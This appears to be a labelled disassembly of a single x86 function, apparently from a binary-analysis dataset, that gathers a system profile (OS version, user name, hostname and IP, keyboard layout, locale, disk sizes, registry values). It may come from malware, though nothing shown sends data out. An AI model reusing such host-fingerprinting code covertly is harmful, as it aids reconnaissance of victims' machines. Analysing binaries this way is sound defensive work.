Function at 0x4080d8
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc2
push 0
push 0
dec ecx
jne 0x4080e0
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x409296
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, 0x4092ac
call fcn.00403780
mov eax, 0x416b14
mov edx, 0x4092b8
call fcn.00403780
mov dword [ebp - 0xe4], 0x94
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x408146
lea eax, [ebp - 0xc]
mov edx, 0x409314
call fcn.004037c4
jmp 0x40816a
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x59c]
call fcn.00405440
mov ecx, dword [ebp - 0x59c]
lea eax, [ebp - 0xc]
mov edx, 0x409330
call fcn.004038f0
cmp byte [0x416b50], 0
je 0x408182
lea eax, [ebp - 8]
mov edx, 0x40934c
call fcn.004037c4
jmp 0x40818f
lea eax, [ebp - 8]
mov edx, 0x40935c
call fcn.004037c4
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a0]
call fcn.00405440
push dword [ebp - 0x5a0]
push 0x40936c
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a4]
call fcn.00405440
push dword [ebp - 0x5a4]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x10]
mov edx, 0x409378
call fcn.004039f0
jne 0x4081f3
lea eax, [ebp - 8]
mov edx, 0x409384
call fcn.004037c4
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040388c
mov eax, dword [ebp - 0x1c]
mov edx, 0x409394
call fcn.004039f0
jne 0x408224
lea eax, [ebp - 0x1c]
mov edx, 0x4093ac
call fcn.004037c4
jmp 0x40827c
mov eax, dword [ebp - 0x1c]
mov edx, 0x4093b8
call fcn.004039f0
jne 0x408242
lea eax, [ebp - 0x1c]
mov edx, 0x4093d0
call fcn.004037c4
jmp 0x40827c
mov eax, dword [ebp - 0x1c]
mov edx, 0x4093dc
call fcn.004039f0
jne 0x408260
lea eax, [ebp - 0x1c]
mov edx, 0x4093f4
call fcn.004037c4
jmp 0x40827c
mov eax, dword [ebp - 0x1c]
mov edx, 0x409400
call fcn.004039f0
jne 0x40827c
lea eax, [ebp - 0x1c]
mov edx, 0x409418
call fcn.004037c4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a8]
call fcn.00405440
mov ecx, dword [ebp - 0x5a8]
lea eax, [ebp - 0x14]
mov edx, 0x409424
call fcn.004038f0
push dword [ebp - 8]
push 0x4092ac
push dword [ebp - 0x10]
push 0x409434
push dword [ebp - 0x1c]
push 0x409434
push dword [ebp - 0x14]
push 0x409434
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.00403964
push 0x409440
push dword [ebp - 0xc]
push 0x409440
push dword [ebp - 8]
push 0x4092ac
push dword [ebp - 0x10]
push 0x409440
push dword [ebp - 0x14]
push 0x409440
push dword [ebp - 0x1c]
push 0x409440
push 0x40944c
push dword [0x416adc]
push 0x409460
push 0x409440
mov eax, ebx
mov edx, 0xf
call fcn.00403964
push 0xfa
lea eax, [ebp - 0x577]
push eax
call fcn.004047c4
push dword [ebx]
push 0x40946c
lea eax, [ebp - 0x5ac]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5ac]
push 0x409440
mov eax, ebx
mov edx, 4
call fcn.00403964
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x409480
mov edx, 0x409494
mov eax, 0x80000001
call fcn.00406de8
push dword [ebx]
push 0x4094b8
push dword [ebp - 8]
push 0x409440
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push dword [ebp - 8]
push 0x409434
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403964
push dword [ebx]
push 0x4094cc
push dword [0x416ad8]
push 0x409440
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push 0x4094e4
push dword [0x416ad8]
push 0x409434
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
mov eax, 0x416b14
mov edx, 0x4094f4
call fcn.00403780
mov dword [ebp - 0x4c], 0x32
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x577]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [ebx]
push 0x409534
lea eax, [ebp - 0x5b0]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5b0]
push 0x409440
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push 0x409548
lea eax, [ebp - 0x5b4]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5b4]
push 0x409434
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
lea eax, [ebp - 8]
mov edx, 0x409558
call fcn.004037c4
lea eax, [ebp - 0xc]
mov ecx, 0x40957c
mov edx, dword [ebp - 8]
call fcn.004038f0
mov eax, dword [0x41524c]
push eax
mov ecx, 0x409598
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406d20
lea edx, [ebp - 0x10]
call fcn.00405420
push dword [ebp - 0x18]
push 0x4095a8
push dword [ebp - 0x10]
push 0x409434
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
push dword [ebx]
push 0x4095b8
push 0x4095c4
push dword [ebp - 0x10]
push 0x4095d4
push 0x409440
push 0x4095e4
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x5b8]
push eax
mov ecx, 0x409600
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406de8
push dword [ebp - 0x5b8]
push 0x409440
push 0x40961c
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x5bc]
push eax
mov ecx, 0x409634
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406de8
push dword [ebp - 0x5bc]
push 0x409440
push 0x409648
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x5c0]
push eax
mov ecx, 0x40965c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406de8
push dword [ebp - 0x5c0]
push 0x409440
push 0x409678
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x5c4]
push eax
mov ecx, 0x409690
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406de8
push dword [ebp - 0x5c4]
push 0x409440
push 0x4096ac
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x5c8]
push eax
mov ecx, 0x4096c0
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406de8
push dword [ebp - 0x5c8]
push 0x409440
push 0x4096d8
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x5cc]
push eax
mov ecx, 0x4096f8
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406de8
push dword [ebp - 0x5cc]
push 0x409440
push 0x409714
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x5d0]
push eax
mov ecx, 0x409730
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406de8
push dword [ebp - 0x5d0]
push 0x409440
mov eax, ebx
mov edx, 0x1b
call fcn.00403964
mov eax, 0x416b14
mov edx, 0x409748
call fcn.00403780
lea eax, [ebp - 8]
mov edx, 0x4097b4
call fcn.004037c4
xor edi, edi
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.00405420
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x14]
mov edx, 0x4097c4
call fcn.004038f0
mov ecx, dword [ebp - 0x5d4]
mov edx, 0x4097dc
mov eax, 0x80000002
call fcn.00406de8
mov eax, dword [ebp - 0x10]
call fcn.004038a4
test eax, eax
jle 0x4086f7
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x409440
mov eax, ebx
mov edx, 4
call fcn.00403964
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5d8]
mov ecx, dword [ebp - 0x14]
mov edx, 0x409804
call fcn.004038f0
mov ecx, dword [ebp - 0x5d8]
mov edx, 0x409820
mov eax, 0x80000002
call fcn.00406de8
mov eax, dword [ebp - 0x10]
call fcn.004038a4
test eax, eax
jle 0x408753
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x409440
mov eax, ebx
mov edx, 4
call fcn.00403964
inc edi
cmp edi, 7
jne 0x408691
mov eax, dword [0x41524c]
push eax
mov ecx, 0x40984c
mov edx, 0x409864
mov eax, 0x80000002
call fcn.00406d20
lea edx, [ebp - 0x14]
call fcn.00405420
mov eax, dword [ebp - 0x14]
call fcn.004038a4
test eax, eax
jle 0x4087a5
push 0x4098ac
push dword [ebp - 0x14]
push 0x409440
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403964
mov eax, 0x416b14
mov edx, 0x4098c4
call fcn.00403780
push dword [ebp - 0x18]
push dword [0x416adc]
push 0x409434
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403964
push dword [ebx]
push 0x409928
push dword [0x416aec]
push 0x409440
push dword [ebp - 0x14]
mov eax, ebx
mov edx, 5
call fcn.00403964
lea eax, [ebp - 0x274]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostbyname
mov esi, eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040385c
push dword [ebx]
push 0x409938
push dword [ebp - 8]
mov eax, ebx
mov edx, 3
call fcn.00403964
push dword [ebp - 0x18]
push 0x40994c
push dword [ebp - 8]
push 0x409434
push 0x409958
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00403964
call sub.wsock32.dll_WSACleanup
push dword [ebx]
push 0x409440
push 0x409440
push 0x409968
push 0x409440
mov eax, ebx
mov edx, 5
call fcn.00403964
mov byte [ebp - 1], 0x42
lea eax, [ebp - 0x5dc]
mov dl, byte [ebp - 1]
call fcn.0040384c
mov edx, dword [ebp - 0x5dc]
lea eax, [ebp - 0x20]
mov ecx, 0x409980
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.00403aa4
mov esi, eax
push esi
call fcn.0040478c
cmp eax, 6
ja case.0x4088d3.0
jmp dword [eax*4 + 0x4088da]
lea eax, [ebp - 8]
mov edx, 0x40998c
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4099a0
call fcn.004037c4
jmp 0x4089bb
lea eax, [ebp - 8]
mov edx, 0x4099ac
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4099bc
call fcn.004037c4
jmp 0x4089bb
lea eax, [ebp - 8]
mov edx, 0x4099c8
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4099d8
call fcn.004037c4
jmp 0x4089bb
lea eax, [ebp - 8]
mov edx, 0x4099e8
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4099f8
call fcn.004037c4
push dword [ebx]
push 0x409440
push 0x4095b8
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0x409440
mov eax, ebx
mov edx, 6
call fcn.00403964
lea eax, [ebp - 8]
call fcn.0040372c
jmp 0x4089bb
lea eax, [ebp - 8]
mov edx, 0x409a04
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x409a14
call fcn.004037c4
jmp 0x4089bb
lea eax, [ebp - 8]
call fcn.0040372c
mov eax, dword [ebp - 8]
call fcn.004038a4
dec eax
jl 0x408bd7
push dword [ebp - 0x18]
lea eax, [ebp - 0x5e0]
mov dl, byte [ebp - 1]
call fcn.0040384c
push dword [ebp - 0x5e0]
push 0x409a28
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
push dword [ebx]
push 0x4095b8
push dword [ebp - 0x20]
push 0x409440
push 0x409a34
push dword [ebp - 8]
push 0x409440
mov eax, ebx
mov edx, 7
call fcn.00403964
push 0x64
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x378]
push eax
push esi
call fcn.004047dc
test eax, eax
je 0x408b0d
push dword [ebx]
push 0x409a44
lea eax, [ebp - 0x5e4]
lea edx, [ebp - 0x378]
mov ecx, 0x104
call fcn.0040388c
push dword [ebp - 0x5e4]
push 0x409440
push 0x409a54
lea eax, [ebp - 0x5e8]
lea edx, [ebp - 0x47c]
mov ecx, 0x104
call fcn.0040388c
push dword [ebp - 0x5e8]
push 0x409440
push 0x409a64
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5ec]
call fcn.00405440
push dword [ebp - 0x5ec]
push 0x409440
push 0x409a74
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f0]
call fcn.00405440
push dword [ebp - 0x5f0]
push 0x409440
push 0x409a88
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f4]
call fcn.00405440
push dword [ebp - 0x5f4]
push 0x409440
mov eax, ebx
mov edx, 0x10
call fcn.00403964
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
call fcn.00404784
test eax, eax
je 0x408bd7
push dword [ebx]
push 0x409a98
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x5f8]
call fcn.00405440
push dword [ebp - 0x5f8]
push 0x409aa8
push 0x409440
push 0x409ab4
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.00405440
push dword [ebp - 0x5fc]
push 0x409aa8
push 0x409440
push 0x409ac4
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.00405440
push dword [ebp - 0x600]
push 0x409aa8
push 0x409440
mov eax, ebx
mov edx, 0xd
call fcn.00403964
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x5b
jne 0x408899
mov eax, 0x416b14
mov edx, 0x409ad4
call fcn.00403780
push 0
push 0
push 0
push 0x409b28
call fcn.00404894
mov esi, eax
push 8
push esi
call fcn.004048a4
lea edx, [ebp - 8]
call fcn.00405420
push 0xa
push esi
call fcn.004048a4
lea edx, [ebp - 0xc]
call fcn.00405420
push 0x74
push esi
call fcn.004048a4
lea edx, [ebp - 0x10]
call fcn.00405420
push 0xc
push esi
call fcn.004048a4
lea edx, [ebp - 0x14]
call fcn.00405420
push esi
call fcn.0040489c
mov eax, 0x416b14
mov edx, 0x409b38
call fcn.00403780
push dword [ebx]
push 0x4095b8
push 0x409bb8
push 0x409440
push 0x409bcc
push dword [ebp - 8]
push 0x409440
push 0x409bdc
push dword [ebp - 0xc]
push 0x409440
push 0x409bf0
push dword [ebp - 0x10]
push 0x409440
push 0x409c04
push dword [ebp - 0x14]
push 0x409440
mov eax, ebx
mov edx, 0x10
call fcn.00403964
push dword [ebp - 0x18]
push 0x409434
push 0x409c1c
push dword [ebp - 8]
push 0x409c2c
push dword [ebp - 0xc]
push 0x409c38
push dword [ebp - 0x10]
push 0x409c2c
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, 0xa
call fcn.00403964
lea eax, [ebp - 0x598]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x598]
push eax
push 8
call fcn.004048f4
mov dword [ebp - 0x4c], eax
push 0x409c44
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.00405440
push dword [ebp - 0x604]
push 0x409440
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x40917b
inc eax
mov dword [ebp - 0x50], eax
xor edi, edi
lea esi, [ebp - 0x598]
mov eax, dword [esi]
and eax, 0xff
cmp eax, 0x38
ja case.0x408d5a.0
jmp dword [eax*4 + 0x408d61]
lea eax, [ebp - 0x14]
mov edx, 0x409c60
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409c70
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409c80
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409c90
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409ca0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409cb0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409cc0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409cd0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409ce0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409cf0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d00
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d10
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d20
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d2c
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d40
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d54
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d64
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d74
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d84
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409d94
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409da4
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409db4
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409dc8
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409ddc
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409df0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e00
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e14
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e24
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e34
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e48
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e5c
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e6c
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e80
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409e94
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409ea0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409eb0
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409ec4
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409ed4
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409ee4
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409ef4
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409f04
call fcn.004037c4
jmp case.0x408d5a.0
lea eax, [ebp - 0x14]
mov edx, 0x409f10
call fcn.004037c4
push dword [ebp - 8]
lea edx, [ebp - 0x608]
lea eax, [edi + 1]
call fcn.00405420
push dword [ebp - 0x608]
push 0x409a28
mov eax, dword [esi]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x60c]
call fcn.00405440
push dword [ebp - 0x60c]
push 0x4092ac
push dword [ebp - 0x14]
push 0x409440
lea eax, [ebp - 8]
mov edx, 7
call fcn.00403964
inc edi
add esi, 4
dec dword [ebp - 0x50]
jne 0x408d4a
mov eax, 0x416b14
mov edx, 0x409f20
call fcn.00403780
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004038ac
lea eax, [ebp - 0x10]
mov edx, 0x409f54
call fcn.004037c4
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x409f70
mov edx, dword [ebp - 0x10]
mov eax, 0x80000001
call fcn.00406de8
cmp dword [ebp - 8], 0
je 0x40921c
push dword [ebx]
push 0x4095b8
push 0x409f84
push dword [ebp - 8]
push 0x409440
push 0x409f9c
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x610]
push eax
mov ecx, 0x409fb0
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406de8
push dword [ebp - 0x610]
push 0x409440
mov eax, ebx
mov edx, 8
call fcn.00403964
push 0x409fc0
push dword [ebp - 0x18]
push 0x409440
push 0x409fe8
push 0x409440
push 0x409ff8
lea edx, [ebp - 0x614]
mov eax, 0x77
call fcn.00405420
push dword [ebp - 0x614]
push dword [ebx]
mov eax, ebx
mov edx, 8
call fcn.00403964
mov eax, 0x416b14
mov edx, 0x40a00c
call fcn.00403780
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40929d
lea eax, [ebp - 0x614]
mov edx, 0x1f
call fcn.00403750
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.00403750
ret